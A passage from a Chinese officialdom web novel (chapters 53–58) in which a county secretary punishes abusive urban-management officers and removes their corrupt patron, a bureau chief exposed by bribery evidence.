那眼神里蕴含的滔**意和冰冷的失望,比任何斥责都更有分量。
第53章 这是放他们一马?
林夕适时上前一步,声音清晰而冰冷,带着秘书特有的条理性,将刚才发生的一切,尤其是刘建东如何打着江**旗号驱赶写作业的孩子、如何荒谬地提出“日光使用费”、如何辱骂威胁、以及最后那番“不把陈队放在眼里”的狂妄宣言,原原本本、一字不漏地复述了一遍。
他的声音不高,但在寂静的河边却字字如锤,敲在每个人的心上。
随着林夕的叙述,陈向荣的脸色由红转白,再由白转青。
当听到“日光使用费”四个字时,他猛地倒吸一口凉气,瞳孔骤缩,像是被人当胸打了一拳。
当听到刘建东当众宣称“没把陈队放在眼里”“老子上面有人”时,他的身体明显晃了一下,脸颊的肌肉剧烈地抽搐起来,那是极致的愤怒和恐惧交织的结果。
他知道刘建东平时有些跋扈,但万万没想到竟然疯狂愚蠢到了如此地步!
这已经不是在执法,这是在掘他陈向荣的根基,更是在狠狠扇县委**的耳光!
“刘!建!东!”陈向荣猛地爆发出一声怒吼,声音因为极致的愤怒而劈了叉。
他一步跨到刘建东面前,两人几乎鼻尖对鼻尖。
陈向荣布满血丝的眼睛死死瞪着对方那张油腻而茫然的胖脸,胸口剧烈起伏,伸出的手指因为暴怒而颤抖得厉害,“你…你…你混蛋!谁给你的权力收什么‘日光使用费’?!”
“谁允许你打着江**的旗号在这里胡作非为?!谁给你的胆子藐视组织纪律?!”
刘建东被陈向荣这从未有过的狂暴姿态彻底吓懵了,酒意彻底变成了冷汗。
他看着陈向荣眼中那几乎要喷出火来的杀意,又瞥见旁边江昭宁那深不见底的冰冷眼神,一股巨大的恐惧攫住了他。
他下意识地后退一步,嘴唇哆嗦着,想辩解什么:“陈队,我…我…他妨碍…”
“闭嘴!”陈向荣厉声打断,那声音尖利得几乎要撕裂傍晚夜幕。
他猛地转身,对着那个早已吓得面无人色的瘦城管吼道:“还有你!王强!你是木头吗?!”
“看着他在这里发疯,为什么不制止?为什么不报告?!”
瘦城管王强浑身一哆嗦,头埋得更低了,恨不得找个地缝钻进去。
陈向荣深吸一口气,强行压下几乎要冲破胸膛的怒火和恐惧。
他猛地转身,面向江昭宁,身体瞬间绷得笔直,然后,在所有人惊愕的目光中,他竟然对着江昭宁深深地鞠了一躬!
这个躬鞠得超过九十度,久久没有抬起,声音带着无法掩饰的颤抖和沉痛:“江…江**!对不起!”
“是我陈向荣管教无方,队伍管理严重失职!”
“让您…让您受惊了!也严重损害了政府形象!”
“我向您,向这位孩子妈,向孩子,向所有东山的老百姓,诚恳道歉!”
他保持着鞠躬的姿势,后背的汗水湿透了更大一片,在昏暗的光线下显得格外刺眼。
“书…**?!”刘建东如遭雷击,整个人瞬间石化!
他脸上的血色“唰”地一下褪得干干净净,只剩下**般的惨白。
他瞪圆了眼睛,眼珠子几乎要凸出眼眶,难以置信地看着那个被他呵斥、被他威胁要罚款的“路人”,巨大的恐惧如同冰冷的潮水瞬间将他淹没。
他双腿一软,“噗通”一声,直接瘫坐在了地上,像一滩烂泥。
王强也吓得魂飞魄散,跟着瘫软在地,筛糠般抖个不停。
年轻母亲捂住了嘴,发出一声低低的惊呼。
周围死寂一片,只有东江河水沉闷的流淌声,仿佛在为这场荒诞剧敲着丧钟。
江昭宁的目光,终于从黑沉沉的河面,缓缓移到了面前深深鞠躬的陈向荣身上,又扫过地上那两滩烂泥。
他的眼神依旧冰冷,但深处,似乎有什么东西,比这浑浊的东江水,更加深沉地涌动起来。
陈向荣站在那片狼藉的中心,额角沁出的汗珠顺着鬓角往下淌,后背的制服早已湿透,紧紧贴着皮肤。
他深吸一口气,努力压下喉头的干涩与胸口的滞闷,对着周围黑压压的人头提高了沙哑的嗓音:“大伙儿都散了吧?”
“家人等着你们回去吃饭呢,各忙各的去!”
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声音不大,却带着一种不容置疑的疲惫威严。
他艰难地挥了挥手。
人群先是低语着,如同退潮般,渐渐松动、疏离,最终三三两两地散开。
江昭宁的目光,冷冽如冰锥,刺向瘫软在地的两人。
他嘴角绷紧,下颌线条冷硬:“你们两人今天辛苦了,表演得够充分了,现在回去吧。”
那声音不高,却字字如冰珠落地,砸得人心头一颤。
刘建东和王强猛地一哆嗦,仿佛被无形的鞭子抽醒,脸上瞬间褪尽了血色,只余下死灰般的惊惧。
他们几乎是手脚并用地从污浊的地上挣扎爬起,沾满污泥和烂菜汁的制服紧贴在身上,黏腻不堪。
两人甚至不敢抬头再看一眼江昭宁,更顾不上拍打身上的污秽,如同两只被滚水烫到的老鼠,连滚带爬,撞开路边一辆歪斜的自行车,以惊人的速度仓皇逃离。
瞬间就拐进了旁边的小巷,彻底消失在燥热的空气里,只留下两道狼狈的水痕和被撞倒的自行车轮兀自空转。
看着两人瞬间逃之夭夭,消失得无影无踪。
林夕凑上前半步,声音压得有些低,带着一丝试探:“**,您宽宏……这是放他们一马?”
“放了?”江昭宁鼻腔里发出一声短促而沉重的冷哼,目光却依旧锁着那两人消失的巷口。
我江昭宁从来不是这种人。
有的是方法整治!
林夕心头一跳,喉结不自觉地上下滚动了一下,悄然收回了剩下的话。
他立刻噤声,垂手肃立,再不敢多言半句。
江昭宁的目光,终于转向了一旁泥塑木雕般僵立的陈向荣。
这位城管大队长的脸色灰败得如同蒙了一层厚厚的尘土,嘴唇微微翕动,却发不出任何声音。
额头上密布的汗珠顺着脸颊往下淌,眼神里是巨大的惶恐,整个人如同惊弓之鸟,在无形的威压下瑟瑟发抖。
“陈队长,”江昭宁开口了,语调恢复了某种平稳,如同深潭表面不起波纹。他不再看那逃窜方向,“刚才那两个城管,你的人,平时……你该了解点根底吧?”
第54章 检讨扣钱了事?
“是…是!”陈向荣猛地一激灵,条件反射般挺直了微微佝偻的背,用力点头,脖子僵硬得像是老旧的轴承,“是,我大队的,刘建东,王强!”
说完,陈向荣的头垂了下来,目光死死盯着自己沾满泥浆的鞋尖,仿佛那里有个能钻进去的洞。
江昭宁向前踱了半步,无形的压力随之迫近:“你自己做得好,对百姓好,”他的语气里甚至有一丝不易察觉的肯定,但随即话锋陡转,变得异常锐利,“可是你驭下呢?”
陈向荣脸腾地红透了,那红色一直蔓延到脖子根里,血管在太阳穴突突直跳。
他觉得自己的舌头像是突然被冻僵了,又粗又厚,在嘴里笨拙地打滚:“我……我……”喉咙里咯啦了几声,终于逼出一个完整的意思,“我有责任!管理失职,管教不严!都是我的错!”
他猛地低下头,脖颈弯折成一个沉重的弧度,仿佛肩上真压着万吨山岳,“回去我就狠狠收拾他们!”
“狠狠收拾?”江昭宁的嘴角终于牵扯起一丝微不可查的弧度,却绝非笑意,“打算怎么个收拾法?说说看?”
陈向荣艰难地吞咽了一下,喉结发出一个艰难的咕哝声:“检讨……对,让他们写深刻的检讨!”
“在全大队公开念!然后……然后严肃处理,该批评批评,该扣钱扣钱!”每一个字都说得极其困难,带着气若游丝的试探。
“检讨扣钱了事?”江昭宁的声音陡然拔高,严厉如寒霜骤降,字字如冰锥砸落,“这不是隔靴搔痒?”
“下次不会故态复萌?”
他逼视着陈向荣骤然惨白的脸,那目光仿佛能穿透皮肉,直抵灵魂深处,“陈向荣,抬起头来!回答我!”
陈向荣被这厉声一喝,惊得浑身一抖,猛地抬起头,脸上血色尽褪,只剩下惊惶失措的惨白。
嘴唇哆嗦着,眼神慌乱地左右游移,就是不敢与江昭宁对视:“这?我,我……”他语无伦次,仿佛喉咙被一只无形的手死死扼住,额上瞬间又冒出一层新的冷汗。
江昭宁何等敏锐,立刻捕捉到了这份异常沉重的惶恐和那份难以启齿的犹豫。
他眼神锐利地审视着陈向荣脸上每一丝细微的抽搐,语气沉缓下来,却带着更强的穿透力:“你有什么为难之处?”
他稍作停顿,目光如同实质般压在陈向荣肩上,不容置疑地命令道:“说吧!”
“是,是……”陈向荣像是被逼到了悬崖尽头,退无可退。
他痛苦地闭了闭眼,再睁开时,眼中满是豁出去的无奈和深重的苦涩,声音干哑得如同砂纸摩擦:“**……这个刘建东,他有来头……是头上长角,身上生刺的人物……”
“在我们队里,他……他根本就没有将我放在眼里!”
“为什么?”江昭宁追问,眉头紧锁。
陈向荣深吸一口气,仿佛要汲取最后的勇气,声音带着一种破罐破摔的颤抖:“他……他是我们局里吴天放局长的亲外甥!”
“这小子仗着这层关系,在我们大队里头,那简直是混世魔王!头上生角,身上长刺!嚣张跋扈!”
他艰难地吐出这个名字,如同卸下了千斤重担,随即又被更深的无力感攫住,“别说在我们城管大队里他横着走,就是在局机关大楼,他也是出了名的肆无忌惮。”
“连我们副局长办公室的门,他都敢一脚踢开!”
陈向荣的语气满是无力感,带着压抑的愤懑,“简直就是目无法纪!没人敢管,也没人管得了……”
他顿了顿,看着江昭宁凝重的脸色,索性将长久积压的苦闷一股脑倒了出来,语速加快,带着积郁已久的愤懑:“他仗着这层关系,乱收费、乱罚款、**,不是一次两次了!”
“可只要我这头刚准备开会研究处分决定,或者材料往局里一报,那边立刻就一个电话打过来了!”
“有时甚至吴局直接过来‘指导工作’,轻飘飘一句话——什么‘年轻人嘛,犯了错批评教育为主’、‘不要挫伤一线同志的工作积极性’、‘具体罚款数额可以灵活掌握,不要搞教条主义’”
“‘年轻人嘛,火气旺,要理解要引导’……您说!”陈向荣摊着双手,一种走投无路的绝望弥漫在他脸上、身上,“局里一把手发了话,我这胳膊能拧得过大腿吗?”
“一次这样,两次这样,三番五次下来,他刘建东还能把我这个队长放在眼里?还能怕我?一次比一次变本加厉!”
“现在他敢站我办公室跟我拍桌子对骂!早就……早就不把我当个人了!”
“他眼里只有他那个好舅舅!”
原来如此
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陈向荣急促地说完,似乎耗尽了所有力气,剧烈地喘息着。
江昭宁的眼神骤然一沉,如同深潭投入巨石,激起无声却汹涌的暗流。
吴天放……这个名字像一颗沉重的石子,投入了他心湖深处,瞬间击碎了方才对陈向荣驭下不严的判断表象,露出了底下更为盘根错节、令人窒息的根系。
此刻在他眼中,已不仅仅是两个城管队员的粗暴执法现场,更像是一幅被权力阴影覆盖的基层生态缩影——一个无法无天的刘建东,一个有心无力、被架空的陈向荣。
还有那只看不见却无处不在的、属于吴天放的手。
吴天放——熟悉的名字、熟悉的面孔在江昭宁脑海里快速闪现。
明白了,一切都明白了。
江昭宁一直紧抿的唇角反而松弛了一丝丝。
那不是释然,是目标锁定后,冰冷的杀意悄然归鞘前的收敛。
“要给予他们相应的处分,不只是检讨,处分后……”
江昭宁话锋一转,“将这哼哈二将,分配到环卫所扫大街,捅厕所!”
“不是喜欢罚款吗?”
“那就让他们去罚那些随地吐痰,随地丢烟蒂的过路行人的款。”
“这是不是适合他们的个性?”
陈向荣倏地一愣神,这处理,可是真够狠的了!
江**能做到,可是要我去执行?我?!
“明天下午,”江昭宁的声音不高,却清晰地穿透了傍晚渐起的喧嚣,每一个字都像淬过火的钢钉,“住建局党组扩大会议,所有股室、下属单位负责人,一个不准缺席。”
他没有回头,只是朝着身后肃立的林夕,平静地抛出了这道指令,如同投下了一颗注定要在死水潭中激起千层浪的石子。
心头剧震,下意识地挺直腰背,声音带着一丝不易察觉的紧绷:“是,**!我立刻通知。”
陈向荣猛地抬起头,脸上瞬间褪尽了最后一丝血色,灰败得像蒙了一层厚厚的霜。
局党组会?还扩大?所有负责人?
这几个词如同重锤,狠狠砸在他的心口上。
一股冰冷的寒意从脚底板直冲头顶,他几乎站立不稳。
这哪里是寻常的例会?这分明是……
这是要发生重大变故了啊!
自己能独善其身吗?
第55章 惊变!
他想到了更可怕的后果,是不是专门为罢免自己而召开的会?
他下意识地想张口,想再解释些什么,或是求一句宽宥。
可喉咙里像是塞满了滚烫的砂砾,一个字也吐不出来,只能眼睁睁看着江昭宁那挺直如松、仿佛蕴藏着千钧之力的背影。
江昭宁没有再说话,他与林夕走了。
路灯次第亮起,昏黄的光晕驱不散陈向荣心头的阴霾,反而给这片狼藉的街角涂抹上一层更深的孤寂。
**自己是如何浑浑噩噩回到家的,钥匙在锁孔里转动的声音都显得空洞无力。
推开家门,妻子惊愕地看着他满身汗水、失魂落魄的样子:“老陈,你这是……”
话未问完,看到他灰败的脸色,后面的话便咽了回去,只剩下满眼的心疼。
陈向荣疲惫地摆摆手,一言不发地走进浴室。
温热的水流冲刷着身上的污垢,却冲不掉心头沉甸甸的巨石。
吴天放那张看似随和、实则深不可测的脸,刘建东那副有恃无恐的嚣张嘴脸,还有江**那最后沉默却重逾千斤的背影……无数画面在蒸腾的水汽中翻滚、碰撞。
深夜,他靠在冰冷的瓷砖墙上,毫无睡意。
明天,当会议室的大门沉重地合拢,那酝酿于无声处的惊雷,终将劈开这令人窒息的沉闷。
翌日,下午三点。
县住建局的会议室,已然被一种无形的张力塞满。
局中层的头头脑脑们大多正襟危坐,脊背挺得有些刻意,眼神却微微低垂,落在面前摊开的笔记本上,或者手中那杯茶水深处。
偶有目光短暂交汇,也如同受惊的飞鸟般迅速避开,只留下心照不宣的警惕。
会议室的门被再次推开,周明清走了进来。
他步伐不快,脸上没什么表情,只对微微骚动后迅速安静下来的会场点了点头,便径直走向主位。
他身后跟着的秘书,手里捧着文件夹,动作轻而谨慎。
几乎在周明清落座的同时,门口传来一阵略显急促、却又刻意放重的脚步声。
所有人的目光,像被磁石吸引般,“唰”地一下投向门口。
吴天放的身影出现在那里。
他的白衬衫领口敞开一颗扣子,似乎想营造一丝随意的松弛感,但眉宇间那股惯有的、几乎要溢出来的志得意满,此刻却因某种隐秘的兴奋而更加张扬。
他目光锐利地扫过全场,在周明清脸上停顿了不足半秒,嘴角似乎向上牵动了一下,算是打过招呼。
他随即大步流星地走向紧邻周明清左侧的那个位置——那是属于局长的专属席位。
他拉开椅子,带着一种理所当然的沉重力道,一屁股坐了下去,椅子腿与地面摩擦,发出“吱嘎”一声刺耳的锐响,在过分安静的会议室里显得格外突兀。
他微微调整了一下坐姿,身体舒展开来,后背惬意地靠向椅背,目光状似无意地、带着一丝猫捉老鼠般的戏谑,飘向长桌另一端那个几乎缩在角落里的身影——陈向荣。
昨天傍晚的事他知道了。
今天应该陈向荣倒霉了。
很可能是免职调离。
也好,去了一个不对付的眼中钉。
陈向荣坐在会议桌尾端偏角落的位置,他提前了近半小时便已落座。
会议通知的时间刻在心里:下午三点整。
他几乎是掐着秒表踏入这里,带着一种近乎负荆请罪的姿态。
昨日的景象再次从心头刺痛着滑过,对下属管教不严,让**生气了,后果很严重!
他强迫自己在面前的笔记本上划拉着毫无意义的线条,每一笔都像在反复刮擦那块耻辱的烙印,手掌心早被自己指尖掐得发白,隐隐作痛。
吴天放略微侧过头,目光才最终落在周明清身上,幅度极小地点了下头,像是在履行某种既定的程序。
一股无形的压力伴随吴天放的出现而骤然加重。
周明清放下了手中的钢笔,清了清喉咙,那声音不大,却如同投入死水的石子,瞬间吸引了全场的注意力。
他没有半句寒暄,语调平直得如同在念一段枯燥的**正文:“同志们,下午好。”
“人都到齐了,现在开会。”
他的开场白简短到极致,没有丝毫情绪的铺垫,“今天会议的主要内容,是宣布
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一项重要人事调整决定。”
话音落下,会议室内立刻变得针落可闻。
吴天放的背脊几不可查地绷紧了一丝。
他放在桌面下的手,轻轻收拢,做好了欣赏一幕精彩剧情的准备。
他甚至能想象陈向荣站起时的茫然、周明清宣读处分时的刻板面孔、以及自己作为局长义正辞严补充几句时的场面……一切流程都已了然于胸。
然而,下一句,却像一道淬了冰的闪电,狠狠劈进了这死寂:“经县委**会研究决定:免去吴天放同志东山县住房和城乡建设局党组**、局长职务。”
每一个字,都如同沉重的铁块,狠狠砸在光滑的会议桌上,发出令人心悸的闷响。
周明清的声音没有丝毫停顿,甚至没有去看那一片狼藉的桌面和呆若木鸡的吴天放,继续宣读着决定:“吴天放同志改任主任科员。”
这后半句如同冰冷的铁锤,再次狠狠砸在吴天放的心口。
主任科员?
一个徒有其名的虚职?
他感觉自己全身的血液瞬间冲上头顶,又在下一秒冻结成冰。
巨大的荒谬感和被愚弄的愤怒瞬间吞噬了他。
吴天放脸上那点强装的镇定彻底消失不见,取而代之的是一种无法理解的错愕和凝固。
他仿佛被一只无形的手掐住了脖子,瞳孔瞬间收缩,定定地锁在周明清那张毫无波澜的脸上,仿佛要从那平静中生生撕扯出裂痕来。
他放在桌下的手指猛地攥紧,指甲深深陷入掌心。
会场的空气彻底凝固、冻结。
所有中层干部的表情都瞬间僵住。
有人下意识地微张着嘴忘了合拢。
有人半端起的茶杯停在唇边,茶水纹丝不动。
这股冻结的死寂甚至还没来得及蔓延扩散,周明清清晰无比的话语已经再次响起,“…同时,任命陈向荣同志担任东山住房和城乡建设局党组**、局长职务,主持全面工作。”
静!
绝对的,死一般的寂静。
只有窗外楼下偶尔传来的、极其遥远的城市喧闹尾音。
时间仿佛在这一刻被瞬间凝固。
第56章 这到底唱的是哪一出?!
无数道目光在周明清平稳的脸、吴天放那张由错愕骤然转向酱紫的脸,以及角落那位仿佛被重锤砸懵的陈向荣之间惊骇地来回梭巡!
角落里的陈向荣猛地抬起头!
那双因连日疲惫而布满血丝的眼睛,此刻睁得滚圆,里面充满了极致的茫然和惊骇。
他握着保温杯的手剧烈地一抖,杯盖“哐啷”一声滑落,掉在水泥地上,发出清脆而突兀的碎裂声。
滚烫的水泼了他一脚,他却浑然未觉。
他像是被施了定身咒,整个人凝固在那里。
只有胸口在剧烈地起伏,像一条被抛上岸濒死的鱼。
他耳朵里嗡嗡作响,周明清后面的话语变得模糊不清,只有“局长”“主持全面工作”这几个字眼,如同惊雷般在他混乱的脑海中反复炸响。
不可能!
这绝对不可能!
是幻听?
还是……一场荒诞到极点的噩梦?
他下意识地、狠狠地、用尽全身力气,用指甲在自己粗糙的手掌心狠狠拧了一把!
一阵尖锐、清晰的剧痛瞬间传来,刺穿了他恍惚的神经。
不是梦!
掌心的刺痛和地上碎裂的杯盖都在告诉他,这是真的!
现在?
局面瞬间颠了个天翻地覆!
昨日那事非但没有把他拽进深渊,反而…反而将他推向局长宝座?!
荒谬与狂喜在他的血管里剧烈冲撞,太阳穴突突直跳,全身的血液似乎都在此刻骤然加速奔流!
他拼命地吸着气,却感觉肺叶像是被无形的力量挤压得难受不堪。
“咳!”坐在吴天放旁边的一位总工程师终于被口水呛到,爆发出再也无法压抑的剧烈咳嗽。
这声音如同打破冰面的第一声巨响。
瞬间,死水沸腾!
整个会场如同被投下了一颗**。
倒吸冷气的声音此起彼伏,嗡嗡的低语汇集成一股不可控制的骚动,迅速蔓延开来。
每个人脸上的表情都极其丰富和复杂:难以置信的瞪眼、下意识流露的惊骇、深藏的揣测和幸灾乐祸的激动瞬间点燃。
吴天放?!
刘县长最倚重的铁杆心腹,住建局的一把手,就这么……被撸了?
像块破抹布一样被丢去坐冷板凳?
陈向荣?!
那个出了名的“死脑筋”“不懂变通”、在局里几乎被边缘化、被所有人认定没有前途的人,竟然……一步登天,成了局长?
这世界是疯了吗?
还是县委的决策层集体中了邪?
没有公示?连风声都没有一丝?
这到底唱的是哪一出?!
“肃静。”周明清的声音不高,却带着一种沉甸甸的威压,瞬间压下了所有细微的骚动和抽气声。
他目光如炬,扫过会场,最后落在陈向荣身上片刻,然后转向众人,开始解释,语气依旧平稳,像是在宣读一份早已备好的说明:“关于陈向荣同志的任命,需要说明一点。”
“陈向荣同志是部队正营职转业干部,按照相关政策规定,转业时即对应地方主任科员待遇,属于正科级干部。”
“此次任命为县住房和城乡建设局局长职务,属于平级任用,并非提拔。”
“因此,按照组织程序,不需要进行任职前公示。”
“平级任用”四个字,像一把精准的手术刀,切开了程序上的迷雾。
可这迷雾散开,露出的景象却让所有人更加心惊肉跳。
这哪里是简单的“平调”?
这分明是在所有人眼皮底下完成了一场无声的、颠覆性的权力更迭!
这解释合情合理,却又透着一股不容置疑的强硬力量。
吴天放听着,只觉得一股冰冷的寒气从脚底板直冲天灵盖。
周明清平静的话语,在他耳中却如同裹着冰凌的钢针,刺得他耳膜生疼,心口阵阵发冷。
他明白了,这根本不是针对陈向荣,这分明是冲着他吴天放,冲着他背后的刘县长来的!
一股被彻底背叛和**的巨大耻辱感,混合着滔天的怒火,在他胸腔里疯狂地燃烧、冲撞。
吴天放成了风暴漩涡的真正中心。
他脸上的血色在最初失血的苍白之后,仿佛被一股从肺腑涌上的剧毒怒火疯狂反噬,顷刻间涨成了一种极度可怕的深紫色酱红。
那紫色在灯光下呈现出一种病态般的乌沉,一直蔓延到脖颈根部。
支撑着他身体的手臂在桌面下无法控制地剧烈颤抖起来,带动着上身的轻微晃动。
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他的嘴唇紧紧地抿成了一条无情的直线,牙关紧咬,腮帮子上的肌肉剧烈地抽搐、扭曲,每一次拉扯都像是要撕裂开来。
汗水,细密的冷汗,瞬间从他精心打理过的鬓角和额角渗了出来,在那张酱紫的脸上折射出油腻冰冷的光。
他的手,一直压在会议纪要本上的右手,猛地攥紧了。
那支昂贵沉重的镀金钢笔,似乎成了他此刻唯一能攥住的武器,被巨大而无处发泄的狂暴力量所驱使。
那只手青筋骤然虬结暴突而起,如同一条条青色扭曲的蜈蚣盘踞在手背上!
力量在失控中骤然爆发——
“噗”的一声轻响,尖锐金属笔尖扎在了下面柔软的纸张里,活生生折断在笔记本上!
戳出一个硬币大小的、边缘狰狞破败的黑色窟窿!
周明清仿佛对会场这骤然引爆的情绪海啸与吴天放几乎失控的状态置若罔闻。
他拿起旁边的青瓷茶杯,不疾不徐地啜饮了一口,姿态平静得近乎冷漠。
等到那由震惊与骚动汇成的声音洪流有了些微平息的迹象。
他才缓缓放下杯子,杯底落在托盘上,发出一声清晰的轻响。
这声响像是拥有某种无形的权威暗示,迅速压下了部分嘈杂。
所有人的目光再次不由自主地聚焦到他那张毫无波澜的面孔上。
“下面,”周明清的声音适时响起,重新稳固地拉回了会场秩序的中心线,“由陈向荣同志做表态性发言。”
短暂的寂静。随即——
“**…”
“啪…啪…啪…”
掌声如同潮水般骤然响起,开始时略显疏落,带着试探性的犹豫和残余的震惊。
但当目光聚焦在陈向荣身上时,那掌声如同被无形的力量推动,变得越来越密集,越来越响亮,如同一阵迟来的**拍打窗棂。
这突如其来的声浪彻底将陈向荣从浑噩失神的泥沼中炸醒。
他浑身一震,猛地抬起头,这才惊觉整个会场的目光此刻都无比强烈地聚焦在自己身上!
那些目光交织着惊疑、猜测,迅速掩藏起情绪之后的复杂揣摩以及最直接的讨好……
千头万绪汇集而成的巨大压力让他的呼吸骤然一窒。
第57章 这是乱政!
陈向荣几乎是凭借着某种残存的肌肉记忆,僵硬地、同手同脚地站了起来。
膝盖撞在桌下的隔板上,发出一声闷响,但他浑然未觉。
周围的空间仿佛被瞬间抽干了空气,又似乎被注满了粘稠的凝胶,每一步向主席台迈去的脚步都带着不可思议的沉重感。
那张熟悉的主席台,此刻陌生得如同悬崖边高悬的平台。
他能清晰地听到自己狂乱的心跳敲打着鼓膜,咚咚咚,如同擂响的战鼓。
陈向荣站在了主席台后,微微的眩晕感袭来。
台下一张张熟悉的面孔此刻都变了味道,模糊又尖锐。
他几乎是靠着本能张开嘴,那些在体制内无数次会议中都千篇一律流淌而出的官样词汇,毫无准备、未经大脑般,顺着干燥僵硬的舌头自动滑了出来:“……衷心拥护……县委的决定……坚决维护……党组班子的团结……”
“一定全力以赴……恪尽职守……”每一个字都像是从喉咙深处硬生生抠出来的,带着一种奇异的艰涩和不确定的颤抖。
“不负组织和……同志们的信任……”他试图让自己的眼神更具力量,投向会议室后排,但目光焦点是虚浮的、发散的,“为东山县城的建设发展……贡献自己的……微薄力量……”
最后一个字落地,他甚至不敢去看周明清或是台下的任何人,几乎是立刻补充了一句,“……我的发言完了。”
声音戛然而止。
会场又是一阵如雷贯耳的热烈的掌声。
哪一位新局长上任,这些中层干部都是这样欢迎的。
陈向荣兀自站在台上,那感觉如同刚刚走完一条漫长虚无的路,所有的精力都被抽干了。
直到周明清沉稳的声音再次响起:“好。”
他没有更多评价,只是简单宣告,“会议到此结束。散会。”
话音落下的瞬间,如同一根紧绷到了极致的琴弦骤然崩断!
“轰!”
几乎是周明清“结束”二字余音未散的同一秒。
一道深灰色的身影如同被强力弹簧弹射而出的炮弹,带着压抑到临界点后爆发的猛烈火气,霍然离座!
吴天放!
他的动作太猛太快,被大力推开的座椅失去了平衡,在刺耳的噪音中摇晃了一下。
最终失去支撑,“哐当”一声闷响,侧翻在地!
然而吴天放对这一切置若罔闻。
他那张脸的颜色已经从酱紫涨得发黑,脸上的肌肉剧烈地抽搐着,扭曲成一种极端难看、写满赤裸暴戾和无法言说的羞辱感的形状。
他似乎连眼前的世界都看不清了,看也不看倒在地上的椅子。
他夺门而出,皮鞋鞋跟撞击着地面,发出清晰而愤怒的“笃!笃!笃!”声。
吴天放冲出住建局会议室的背影,裹挟着雷霆般的怒气,每一步都踏碎了走廊里凝固的空气。
他无视了那些从办公室门缝里仓皇探出的、惊疑不定的目光。
他只有一个目的地——县长刘世廷的办公室。
那扇象征着东山权力核心的红木门,此刻是他唯一能抓住的救命稻草,也是他唯一能倾泻这滔**火与冤屈的闸口。
他甚至没有敲门。
带着一股仿佛要撞破一切的戾气,他猛地推开那扇厚重的门板。
门板撞在后面的墙上,发出一声闷响。
刘世廷正靠在宽大的真皮座椅里,指尖夹着燃了一半的香烟,眉头紧锁,对着窗外灰蒙蒙的天际出神。
桌上摊开的几份文件似乎也沾染了他心头的沉重。
吴天放的闯入如同投石入水,打破了这间办公室特有的、带着权力沉淀的静谧。
“刘县长!”吴天放的声音嘶哑,像是砂纸在摩擦,带着一种被逼到绝境的野兽般的咆哮。
他几步冲到那张宽大的办公桌前,双手猛地撑在光洁的红木桌面上,身体前倾,仿佛要将所有的重量和愤怒都压过去,“为什么?!为什么是我被突然免职了?!”
他死死盯着刘世廷的眼睛,那里面翻涌着**、不解和熊熊燃烧的怒火,“昨天傍晚那两个城管,他们是陈向荣那个城管大队的直接手下!”
“是他陈向荣的人捅了篓子,惹了众怒!”
“凭什么不处分他?凭什么?!”
“凭什么还让他升官了?”
“板子不打他,倒打到我头上来了?!”
他的胸膛剧烈起伏,粗重的喘息声在安静的办公室里异常刺耳。
“我不服!刘县长,我不服!”他几乎是吼出来的,“这算什么?江昭宁他这是拉一派打一派!”
“他这是在搞垮我们东
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山!这是乱政!赤裸裸的乱政!”
“免职?!还他妈改成什么主任科员?!打发要饭的?!”
“我要去市纪委申诉!”
“我要控告他江昭宁打击报复,排除异己!”
他激动地挥舞着手臂,唾沫星子几乎要溅到桌面的文件上。
他试图从刘世廷脸上找到一丝同仇敌忾的愤怒,一丝为他鸣不平的共鸣。
然而,回应他的,却是刘世廷嘴角勾起的一抹近乎冰冷的嗤笑。
那笑声不大,却像一盆冰水,兜头浇在吴天放沸腾的怒火上。
“呵,”刘世廷缓缓吐出一口浓白的烟雾,烟雾缭绕中,他的眼神锐利如刀锋,直直刺向吴天放,“两个城管都是陈向荣的下属?”
“吴天放,你是在跟我装糊涂,还是觉得所有人都跟你一样蠢?”他身体微微前倾,声音压低了,却带着更强的穿透力,“谁人不知,那个刘建东,是你吴天放如假包换的宝贝外甥?嗯?”
吴天放被这直截了当的点破噎得呼吸一窒。
他脸上愤怒的潮红瞬间褪去几分,眼神下意识地闪烁了一下。
刘世廷没给他辩驳的机会,继续冷冷道:“你以为江昭宁傻吗?”
“他这明面上打击我,项庄舞剑,意在沛公,其心昭然若揭,目标是您县长啊。”吴天放气挑拨道。
刘世廷重重地用手指敲击着桌面,发出“笃笃”的闷响,“确实,他那点心思,昭然若揭!”
“他真正的目标,是我这个县长!是我刘世廷!”
吴天放听到这里,眼中怨毒的光芒更盛。
他声音更加激动尖利:“对啊!刘县长!他这就是冲着您来的!”
“您为什么?您当时为什么不在**会上据理力争?”
“您就由着他一个人在**会上为所欲为,拿我开刀祭旗吗?!您要是强硬一点,他江昭宁敢这么嚣张吗?”他死死盯着刘世廷,试图从他脸上找出哪怕一丝愧疚或懊悔。
刘世廷沉默了。
他靠在椅背上,目光再次投向窗外那片铅灰色的天空,仿佛那沉重的云层压在了他的心头。
香烟在他指间无声地燃烧,长长的烟灰摇摇欲坠。
办公室里的空气仿佛凝固了。
只剩下吴天放粗重的喘息和烟丝燃烧的细微声响。
第58章 铁证如山!
“据理力争?”良久,刘世廷才缓缓开口,声音低沉沙哑,带着一种深深的疲惫和难以言喻的苦涩,“吴天放,你以为我不想吗?”
他猛地转过头,那双平日里威严深沉的眼睛,此刻布满了血丝,里面翻涌着后怕、愤怒和一种被扼住咽喉的无力感。
刘世廷猛地将手中燃烧了一半的香烟狠狠摁熄在巨大的水晶烟灰缸底部。
猩红的火头瞬间熄灭,一股焦糊的青烟快速腾起又消失。
他抬头,眼神像淬了毒的刀子,直剜吴天放心窝。
“他摔出的是你**的照片还有录音。”
“龙湾佳苑!”刘世廷的声音如同淬了冰的刀子,每一个字都刮着吴天放的神经,“A区,楼王位置,顶层复式!”
“那一套房子值多少钱?市场价多少?你心里没数吗?”
“嗯?江昭宁摔出来的,就是这个!还有这个——”刘世廷拿起桌上的手机,手指在屏幕上用力一点。
一段清晰的录音瞬间外放出来,“临湖第一排,顶楼复式……位置绝佳,朝向也好,推开窗就见整个明镜湖。”
“……环境安静,非常适合**这样为全县鞠躬尽瘁的人,工作之余休养身心。”
“钥匙就在盒子里,所有资料……干干净净。”
录音很短,但里面关键的字眼——“**”、“安静”、“干干净净”——如同惊雷般在吴天放耳边炸响!
他脸色瞬间变得惨白如纸,额头上瞬间沁出细密的冷汗。
刚才那股滔天的怒火像是被戳破的气球,瞬间瘪了下去,只剩下彻骨的寒意顺着脊椎疯狂上窜。
“听清楚了吗?”刘世廷死死盯着吴天放骤然失色的脸,声音带着一种压抑到极致的低吼,“铁证如山!”
“江昭宁把这东西直接拍在**会桌面上!甩在我面前!甩在所有**们面前!”
“当时只要多想一秒,我都觉得天灵盖要炸开!所以——”
“我他妈还敢放什么屁?!还敢开什么言?!”
“我敢说一个‘不’字?!”
